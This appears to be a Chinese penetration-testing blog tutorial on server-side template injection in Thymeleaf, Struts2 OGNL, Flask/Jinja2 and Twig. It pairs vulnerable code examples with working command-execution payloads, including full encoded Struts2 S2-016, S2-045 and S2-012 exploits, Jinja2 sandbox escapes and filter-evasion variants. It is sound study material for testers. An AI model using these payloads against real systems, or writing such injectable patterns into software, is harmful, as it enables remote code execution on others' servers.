SSTI(模板注入)

渗透技巧 2年前 (2021) admin
1,460 0 0


就是${2*2}这种形式的payload,在java,python,php中都存在。


一、    Java-SpringBoot-Thymeleaf

        <dependency>            <groupId>org.springframework.boot</groupId>            <artifactId>spring-boot-starter-test</artifactId>            <scope>test</scope>        </dependency>            <dependency>            <groupId>org.springframework.boot</groupId>            <artifactId>spring-boot-starter-thymeleaf</artifactId>        </dependency>

正常的Controller

package com.springmybatis.demo.controller;

import org.springframework.stereotype.Controller;import org.springframework.ui.Model;import org.springframework.web.bind.annotation.RequestMapping;import org.springframework.web.bind.annotation.RequestParam;import org.springframework.web.servlet.ModelAndView; @Controllerpublic class HelloController { @RequestMapping(value = "/index") public ModelAndView hello(@RequestParam String username, Model model) { model.addAttribute("username", username); return new ModelAndView("index", "userModel", model); }}

index.html

<!DOCTYPE html><html lang="en"><head>    <meta charset="UTF-8">    <title>hello</title></head><body>    <h3 th:text="'hello '+${userModel.username}"></h3></body></html>

效果如图

SSTI(模板注入)

更多使用方式见

https://developer.aliyun.com/article/769977

常见的漏洞写法如下

@Controllerpublic class HelloController {     @RequestMapping(value = "/login")    public String hello(@RequestParam String username) {        return "user/" + username + "/index";    }}


username=__${T (java.lang.Runtime).getRuntime().exec(“calc”)}__::.


此为常用的thymeleaf-3.0.12.RELEASE的payload,在低版本中,还存在另外一种常见payload。

__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("calc").getInputStream()).next()}__::.

其他变形如下。

__*{T (java.lang.Runtime).getRuntime().exec("calc")}__::.__${{T (java.lang.Runtime).getRuntime().exec("calc")}}__::.::__${T (java.lang.Runtime).getRuntime().exec("calc")}__.

另外一种常见有漏洞的写法,原理一致,基本上return拼接都会有问题。

@Controllerpublic class HelloController {     @RequestMapping(value = "/login")    public String hello(@RequestParam String username) {        return "user::" + username;    }}


还有两种情况,仅在SpringBoot-2.2.0.RELEASE/thymeleaf-3.0.11.RELEASE测试成功。
直接return username,这种写法应该仅存在理论当中。

    @RequestMapping(value = "/login")    public String hello(@RequestParam String username) {        return username;    }

此时可以用${expr}形式的payload

${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("calc").getInputStream()).next()}::x::${{T(java.lang.Runtime).getRuntime().exec("calc")}}


以及在url上设置变量,此时即使没有返回也存在漏洞。

@Controllerpublic class HelloController {    private static Logger log = LogManager.getLogger();    @GetMapping("/doc/{document}")    public void getDocument(@PathVariable String document) {    }}

/doc/__$%7BT%20(java.lang.Runtime).getRuntime().exec(%22calc%22)%7d__::.

这么一看似乎springboot很容易发生SSTI。但实际情况中,更多的是存在@ResponseBody注解,或者@Controller替换为@RestController,漏洞不存在。
return拼接时如果时以redirect:开头,即302跳转,漏洞不存在。
方法参数中设置HttpServletResponse 参数,漏洞不存在。
这几种情况,Spring都不会去调用模板解析,因此都不存在SSTI漏洞。

Ruoyi-4.7.1的com.ruoyi.web.controller.monitor.CacheController就明显存在SSTI。

@Controller@RequestMapping("/monitor/cache")public class CacheController extends BaseController{......    @PostMapping("/getNames")    public String getCacheNames(String fragment, ModelMap mmap)    {        mmap.put("cacheNames", cacheService.getCacheNames());        return prefix + "/cache::" + fragment;    }
@PostMapping("/getKeys") public String getCacheKeys(String fragment, String cacheName, ModelMap mmap) { mmap.put("cacheName", cacheName); mmap.put("cacheKyes", cacheService.getCacheKeys(cacheName)); return prefix + "/cache::" + fragment; }
@PostMapping("/getValue") public String getCacheValue(String fragment, String cacheName, String cacheKey, ModelMap mmap) { mmap.put("cacheName", cacheName); mmap.put("cacheKey", cacheKey); mmap.put("cacheValue", cacheService.getCacheValue(cacheName, cacheKey)); return prefix + "/cache::" + fragment; }




二、    Java-Struts2-OGNL

很多java项目也存在OGNL,比如confluence wiki,泛微e-mobile,Apache Unomi等,但Struts2的OGNL爆出来次数之多,甚至很有可能是导致它没落的原因之一。
最容易碰上的Struts2框架的漏洞是S2-016和S2-045/046,其他要么久远难碰上,要么非默认配置,要么实际上是struts2-rest-showcase/struts2-showcase这两个demo的漏洞。
测试这两个漏洞,直接拉取struts2-showcase-2.3.14.war即可
https://mvnrepository.com/artifact/org.apache.struts/struts2-showcase/2.3.14

S2-016(2.3.15.1修复,2013)

/struts2-showcase-2.3.14/index.action?redirect:%25%7b%28%23%6e%69%6b%65%3d%27%6d%75%6c%74%69%70%61%72%74%2f%66%6f%72%6d%2d%64%61%74%61%27%29%2e%28%23%64%6d%3d%40%6f%67%6e%6c%2e%4f%67%6e%6c%43%6f%6e%74%65%78%74%40%44%45%46%41%55%4c%54%5f%4d%45%4d%42%45%52%5f%41%43%43%45%53%53%29%2e%28%23%5f%6d%65%6d%62%65%72%41%63%63%65%73%73%3f%28%23%5f%6d%65%6d%62%65%72%41%63%63%65%73%73%3d%23%64%6d%29%3a%28%28%23%63%6f%6e%74%61%69%6e%65%72%3d%23%63%6f%6e%74%65%78%74%5b%27%63%6f%6d%2e%6f%70%65%6e%73%79%6d%70%68%6f%6e%79%2e%78%77%6f%72%6b%32%2e%41%63%74%69%6f%6e%43%6f%6e%74%65%78%74%2e%63%6f%6e%74%61%69%6e%65%72%27%5d%29%2e%28%23%6f%67%6e%6c%55%74%69%6c%3d%23%63%6f%6e%74%61%69%6e%65%72%2e%67%65%74%49%6e%73%74%61%6e%63%65%28%40%63%6f%6d%2e%6f%70%65%6e%73%79%6d%70%68%6f%6e%79%2e%78%77%6f%72%6b%32%2e%6f%67%6e%6c%2e%4f%67%6e%6c%55%74%69%6c%40%63%6c%61%73%73%29%29%2e%28%23%6f%67%6e%6c%55%74%69%6c%2e%67%65%74%45%78%63%6c%75%64%65%64%50%61%63%6b%61%67%65%4e%61%6d%65%73%28%29%2e%63%6c%65%61%72%28%29%29%2e%28%23%6f%67%6e%6c%55%74%69%6c%2e%67%65%74%45%78%63%6c%75%64%65%64%43%6c%61%73%73%65%73%28%29%2e%63%6c%65%61%72%28%29%29%2e%28%23%63%6f%6e%74%65%78%74%2e%73%65%74%4d%65%6d%62%65%72%41%63%63%65%73%73%28%23%64%6d%29%29%29%29%2e%28%23%63%6d%64%3d%27whoami%27%29%2e%28%23%69%73%77%69%6e%3d%28%40%6a%61%76%61%2e%6c%61%6e%67%2e%53%79%73%74%65%6d%40%67%65%74%50%72%6f%70%65%72%74%79%28%27%6f%73%2e%6e%61%6d%65%27%29%2e%74%6f%4c%6f%77%65%72%43%61%73%65%28%29%2e%63%6f%6e%74%61%69%6e%73%28%27%77%69%6e%27%29%29%29%2e%28%23%63%6d%64%73%3d%28%23%69%73%77%69%6e%3f%7b%27%63%6d%64%2e%65%78%65%27%2c%27%2f%63%27%2c%23%63%6d%64%7d%3a%7b%27%2f%62%69%6e%2f%62%61%73%68%27%2c%27%2d%63%27%2c%23%63%6d%64%7d%29%29%2e%28%23%70%3d%6e%65%77%20%6a%61%76%61%2e%6c%61%6e%67%2e%50%72%6f%63%65%73%73%42%75%69%6c%64%65%72%28%23%63%6d%64%73%29%29%2e%28%23%70%2e%72%65%64%69%72%65%63%74%45%72%72%6f%72%53%74%72%65%61%6d%28%74%72%75%65%29%29%2e%28%23%70%72%6f%63%65%73%73%3d%23%70%2e%73%74%61%72%74%28%29%29%2e%28%23%72%6f%73%3d%28%40%6f%72%67%2e%61%70%61%63%68%65%2e%73%74%72%75%74%73%32%2e%53%65%72%76%6c%65%74%41%63%74%69%6f%6e%43%6f%6e%74%65%78%74%40%67%65%74%52%65%73%70%6f%6e%73%65%28%29%2e%67%65%74%4f%75%74%70%75%74%53%74%72%65%61%6d%28%29%29%29%2e%28%40%6f%72%67%2e%61%70%61%63%68%65%2e%63%6f%6d%6d%6f%6e%73%2e%69%6f%2e%49%4f%55%74%69%6c%73%40%63%6f%70%79%28%23%70%72%6f%63%65%73%73%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29%2c%23%72%6f%73%29%29%2e%28%23%72%6f%73%2e%66%6c%75%73%68%28%29%29%7d%00%62

S2-045/046/048(2.3.31/2.5.10.1修复,2017)
注意[%00]是x00,也可将filename的payload替换到header Content-Type上。

POST /struts2-showcase-2.3.14/index.action HTTP/1.1Host: 127.0.0.1:8080Content-Type: multipart/form-data; boundary=250dbac9c898c68c6ee941f1b3de402bContent-Length: 976
--250dbac9c898c68c6ee941f1b3de402bContent-Disposition: form-data; name="test"; filename="%{(#nike='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}[%00]b"Content-Type: text/plain
x--250dbac9c898c68c6ee941f1b3de402b--

SSTI(模板注入)


S2-012/S2-013(2.3.14.1修复,2013)

这个需要额外配置,但这个配置很常见也比较容易触发。


/struts2-showcase-2.3.14/wait/wait.jsp?url=%25%7b%28%23%5f%6d%65%6d%62%65%72%41%63%63%65%73%73%5b%27%61%6c%6c%6f%77%53%74%61%74%69%63%4d%65%74%68%6f%64%41%63%63%65%73%73%27%5d%3d%74%72%75%65%29%28%23%63%6f%6e%74%65%78%74%5b%27%78%77%6f%72%6b%2e%4d%65%74%68%6f%64%41%63%63%65%73%73%6f%72%2e%64%65%6e%79%4d%65%74%68%6f%64%45%78%65%63%75%74%69%6f%6e%27%5d%3d%66%61%6c%73%65%29%2e%28%23%63%6d%64%3d%27ipconfig%27%29%2e%28%23%69%73%77%69%6e%3d%28%40%6a%61%76%61%2e%6c%61%6e%67%2e%53%79%73%74%65%6d%40%67%65%74%50%72%6f%70%65%72%74%79%28%27%6f%73%2e%6e%61%6d%65%27%29%2e%74%6f%4c%6f%77%65%72%43%61%73%65%28%29%2e%63%6f%6e%74%61%69%6e%73%28%27%77%69%6e%27%29%29%29%2e%28%23%63%6d%64%73%3d%28%23%69%73%77%69%6e%3f%7b%27%63%6d%64%2e%65%78%65%27%2c%27%2f%63%27%2c%23%63%6d%64%7d%3a%7b%27%2f%62%69%6e%2f%62%61%73%68%27%2c%27%2d%63%27%2c%23%63%6d%64%7d%29%29%2e%28%23%70%3d%6e%65%77%20%6a%61%76%61%2e%6c%61%6e%67%2e%50%72%6f%63%65%73%73%42%75%69%6c%64%65%72%28%23%63%6d%64%73%29%29%2e%28%23%70%2e%72%65%64%69%72%65%63%74%45%72%72%6f%72%53%74%72%65%61%6d%28%74%72%75%65%29%29%2e%28%23%70%72%6f%63%65%73%73%3d%23%70%2e%73%74%61%72%74%28%29%29%2e%28%23%73%3d%6e%65%77%20%6a%61%76%61%2e%75%74%69%6c%2e%53%63%61%6e%6e%65%72%28%23%70%72%6f%63%65%73%73%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29%29%2e%75%73%65%44%65%6c%69%6d%69%74%65%72%28%27%5c%5c%61%27%29%29%2e%28%23%77%72%69%74%65%72%3d%40%6f%72%67%2e%61%70%61%63%68%65%2e%73%74%72%75%74%73%32%2e%53%65%72%76%6c%65%74%41%63%74%69%6f%6e%43%6f%6e%74%65%78%74%40%67%65%74%52%65%73%70%6f%6e%73%65%28%29%2e%67%65%74%57%72%69%74%65%72%28%29%2c%23%77%72%69%74%65%72%2e%70%72%69%6e%74%6c%6e%28%23%73%2e%6e%65%78%74%28%29%29%2c%23%77%72%69%74%65%72%2e%63%6c%6f%73%65%28%29%29%7d

SSTI(模板注入)


简单OGNL的demo,依赖ognl-3.0.6.jar/javassist-3.21.0-GA.jar

package test;
import ognl.Ognl;import ognl.OgnlContext;
public class OGNLtest { public static void main(String[] args) throws Exception { OgnlContext context = new OgnlContext(); Ognl.getValue("@java.lang.Runtime@getRuntime().exec('calc')", context, context.getRoot());
}}

类似Struts2-OGNL的变形

(#cmd='calc').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#process=#p.start())

可加入()或者[]或者{}
{[(@java.lang.Runtime@getRuntime().exec(‘calc’))]}
可加入#{}
#{@java.lang.Runtime@getRuntime().exec(‘calc’)}

新版OGNL在ognl.OgnlRuntime.invokeMethod()中增加了黑名单过滤。

SSTI(模板注入)

但明显不难绕过,以ognl-3.3.0.jar为例,可以jndi注入。

(#ic=new javax.naming.InitialContext()).(#ic.lookup('rmi://127.0.0.1:1099/exp'))

执行EL表达式。

(#el=new javax.el.ELProcessor()).(#el.eval('Runtime.getRuntime().exec("calc")'))

其余请自行结合java反序列化知识展开利用。

Struts2-OGNL漏洞攻防实际上非常复杂,涉及到Strust2的黑名单,安全规则,以及OGNL包的黑名单,参考文章如下。
https://paper.seebug.org/794/
https://cwiki.apache.org/confluence/display/WW/S2-012
https://paper.seebug.org/1575/
https://xz.aliyun.com/t/10482

java的模板注入还有EL表达式注入比如CVE-2011-2730,还有velocity比如CVE-2019-17558。
此外这个议题中介绍了大量.net和java的一些其他模板注入。
https://i.blackhat.com/USA-20/Wednesday/us-20-Munoz-Room-For-Escape-Scribbling-Outside-The-Lines-Of-Template-Security.pdf



三、    Python-Flask-Jinja2

现在提起SSTI,很多时候都指的是python的flask服务端的SSTI,并非因为这个漏洞比较普遍,而是这个漏洞在CTF中太有存在感了。
先看正常的模板怎么写的,环境python3,需要安装Flask。
web.py

from flask import Flask, request, render_template
app=Flask(__name__)@app.route('/test', methods=["GET", "POST"])def test(): query = request.args.get('name') return render_template('test.html', name = query)
if __name__ == '__main__': app.run(debug=True)

templates/test.html

<html>  <head>    <title>Welcome to Flask</title>  </head> <body>      <h1>Hello, {{name}}!</h1>  </body></html>

SSTI(模板注入)

在web.py增加一个存在漏洞的路由

from flask import Flask, request, render_template, render_template_string…….@app.route('/ssti', methods=["GET", "POST"])def ssti():    query = request.args.get('name')    template = '''<h1><p>Hello, %s</p></h1>        ''' %(query)    return render_template_string(template)

/ssti?name={{2*2}}效果如下

SSTI(模板注入)

也就是说flask的SSTI产生的原因是先拼接变量,再用render_template_string动态生成模板。

如何利用呢,由于python也是万物皆对象,所以可以利用它的一些魔术方法,来从一个任意对象(通常是string),来找到它的最顶层父类,再不断向下找子类。
返回对象的类(str)

''.__class__

返回对象的父类(object)

''.__class__.__base__

返回所有子类(list)

''.__class__.__base__.__subclasses__()

返回编号为128的类(os._wrap_close)

''.__class__.__base__.__subclasses__()[128]

构造函数,返回对象

"".__class__.__base__.__subclasses__()[128].__init__

返回方法/属性/模块

''.__class__.__base__.__subclasses__()[128].__init__.__globals__['system']('whoami')

也可以

''.__class__.__base__.__subclasses__()[128].__init__.__globals__['popen']('whoami').read()

拼接

''.__class__.__base__.__subclasses__()[128].__init__.__globals__['po'+'pen']('whoami').read()

SSTI(模板注入)


注意os._wrap_close的编号不一定为128,需要找出来。

for i in range(0,200):    try:        print(i)        print(''.__class__.__base__.__subclasses__()[i])        if str(''.__class__.__base__.__subclasses__()[i]) == "<class 'os._wrap_close'>" :            break    except :        pass


在{%…%}中,可以使用print,for,if,set等语句,支持各种过滤器,同时规避{{…}}检测

{% print(''.__class__.__base__.__subclasses__()[128].__init__.__globals__['popen']('ipconfig').read()) %}

利用for遍历每个子类,这样避免128编号不对。

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__ == '_wrap_close' %}      {{c.__init__.__globals__['popen']('whoami').read()}}{% endif %}{% endfor %}

配置

{{config}}{{url_for.__globals__['current_app'].config}}{{get_flashed_messages.__globals__['current_app'].config}}

起始类

''.__class__"".__class__{}.__class__().__class__[].__class__1.__class__0x0.__class__request.__class__.__class__ session.__class__.__class__.__class__redirect.__class__config.__class__.__class__


python中还存在一个模块__builtins__,拥有eval方法,可以执行任意代码,我们需要找到含__builtins__模块的类。

for i in range(0,200):    try:        if "__builtins__" in ''.__class__.__base__.__subclasses__()[i].__init__.__globals__.keys():            print(i)            print(''.__class__.__base__.__subclasses__()[i])    except :        pass

SSTI(模板注入)

可以看到熟悉的os._wrap_close以及很多其他类都有,因此可以

{{''.__class__.__base__.__subclasses__()[128].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")}}

可简化为

{{xxx.__init__.__globals__['__builtins__'].__import__('os').popen('whoami').read()}}{{url_for.__globals__['__builtins__'].__import__('os').popen('whoami').read()}}


os的模块实际由sys模块加载,因此同理可以寻找含sys模块的类。

for i in range(0,200):    try:        if "sys" in ''.__class__.__base__.__subclasses__()[i].__init__.__globals__.keys():            print(i)            print(''.__class__.__base__.__subclasses__()[i])    except :        pass


{{''.__class__.__base__.__subclasses__()[128].__init__.__globals__['sys'].modules["os"].popen("whoami").read()}}

在CTF中,很多时候只需要读flag就行了,比如这个python2的文件读取,file类。

{{[].__class__.__bases__[0].__subclasses__()[40]('result.txt').read()}}


除此之外,关于命令执行和文件读取的模块和方法包括如下
os/platform/subprocess/timeit/importlib/codecs/sys/__import__/__builtins__/exec/eval/execfile/compile/file/open
参考https://misakikata.github.io/2020/04/python-%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8%E4%B8%8ESSTI/#python3

不使用中括号,用__getitem__代替。

{{''.__class__.__base__.__subclasses__().__getitem__(128).__init__.__globals__.__getitem__('popen')('whoami').read()}}

不使用引号,chr拼接字符串,需要先set,注意url编码问题。

{% set chr=().__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(250).__init__.__globals__.__builtins__.chr %}{{0x0.__class__.__base__.__subclasses__().__getitem__(128).__init__.__globals__.__getitem__(chr(112)+chr(111)+chr(112)+chr(101)+chr(110))(chr(119)+chr(104)+chr(111)+chr(97)+chr(109)+chr(105)).read()}}

也可以使用request进行参数注入,request.args.a/request.args.get(‘a’)

/ssti?name={{().__class__.__base__.__subclasses__()[128].__init__.__globals__[request.args.a](request.args.b).read()}}&a=popen&b=whoami

不使用点

{{()['__class__']['__base__']['__subclasses__']()[128]['__init__']['__globals__']['popen']('whoami')['read']()}}

不使用下划线,可以转义或者unicode

{{()['x5fx5fclassx5fx5f']['x5fx5fbasex5fx5f']['x5fx5fsubclassesx5fx5f']()[128]['x5fx5finitx5fx5f']['x5fx5fglobalsx5fx5f']['popen']('whoami')['read']()}}
{{()['u005fu005fclassu005fu005f']['u005fu005fbaseu005fu005f']['u005fu005fsubclassesu005fu005f']()[128]['u005fu005finitu005fu005f']['u005fu005fglobalsu005fu005f']['popen']('whoami')['read']()}}

不使用下划线和点和中括号,使用”|attr(“xxx”)

{{''|attr("x5fx5fclassx5fx5f")|attr("x5fx5fbasex5fx5f")|attr("x5fx5fsubclassesx5fx5f")()|attr("x5fx5fgetitemx5fx5f")(128)|attr("x5fx5finitx5fx5f")|attr("x5fx5fglobalsx5fx5f")|attr("x5fx5fgetitemx5fx5f")('popen')('whoami')|attr("read")()}}

不使用数字,使用length,’abc’|length等同于len(‘abc’)

{% set a='abcdabcd'|length * 'abcdabcd'|length  * 'ab'|length %}{{''.__class__.__base__.__subclasses__()[a].__init__.__globals__['popen']('whoami').read()}}


更加复杂的绕过见
https://xz.aliyun.com/t/9584



四、    PHP-Twig

https://github.com/twigphp/Twig/tags
安装composer后composer install出现vendor目录即可。
和Flask类似,正常用法如下。
1.php

<?phprequire_once __DIR__.'./Twig-3.3.4/vendor/autoload.php';$loader = new TwigLoaderFilesystemLoader('./templates');$twig = new TwigEnvironment($loader, [    'cache' => './cache',]);
echo $twig->render('index.html', ['name' => @$_GET['name']]);

templates/index.html

<html>  <head>    <title>Welcome to Twig</title>  </head> <body>      <h1>Hello, {{ name }}!</h1>  </body></html>

访问1.php之后cache目录会自动生成渲染好的php文件。

SSTI(模板注入)

漏洞发生的写法,也和Flask类似,将变量用createTemplate拼接并生成模板。

<?phprequire_once __DIR__.'./Twig-3.3.4/vendor/autoload.php';$loader = new TwigLoaderArrayLoader();$twig = new TwigEnvironment($loader);$template = $twig->createTemplate("<h1>Hello, ".@$_GET['name']."!</h1>");echo $template->render();

SSTI(模板注入)

常见的SSTI payload

{{["whoami"]|filter("system")|join(",")}}{{["whoami"]|map("system")|join(",")}}{{["whoami", 0]|sort("system")|join(",")}}{{[0, 0]|reduce("system", "whoami")}}

当然join只是为了消除报错,代码层面看造成代码执行的原因非常简单,以filter为例,漏洞函数位于Twig-3.3.4srcExtensionCoreExtension.php

function twig_array_filter(Environment $env, $array, $arrow){    if (!twig_test_iterable($array)) {        throw new RuntimeError(sprintf('The "filter" filter expects an array or "Traversable", got "%s".', is_object($array) ? get_class($array) : gettype($array)));    }
if (!$arrow instanceof Closure && $env->hasExtension('TwigExtensionSandboxExtension') && $env->getExtension('TwigExtensionSandboxExtension')->isSandboxed()) { throw new RuntimeError('The callable passed to "filter" filter must be a Closure in sandbox mode.'); }
if (is_array($array)) { return array_filter($array, $arrow, ARRAY_FILTER_USE_BOTH); }

可以看到如果是数组就调用array_filter,学过php webshell的就会知道这是个回调函数,array_filter(array(“calc”), “system”);等同于system(“calc”);

同样支持{%%},在其中可以set,for等。

{% set a=["whoami"]|filter("system") %}

支持转义符

{{["whoami"]|filter("x73ystem")|join(",")}}


1.20.0以下的旧版本无法使用filter等,但存在如下payload

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("calc")}}


更复杂的payload构造见

https://www.leavesongs.com/PENETRATION/cachet-from-laravel-sqli-to-bug-bounty.html
























原文始发于微信公众号(珂技知识分享):SSTI(模板注入)

版权声明:admin 发表于 2021年12月24日 上午1:58。
转载请注明:SSTI(模板注入) | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...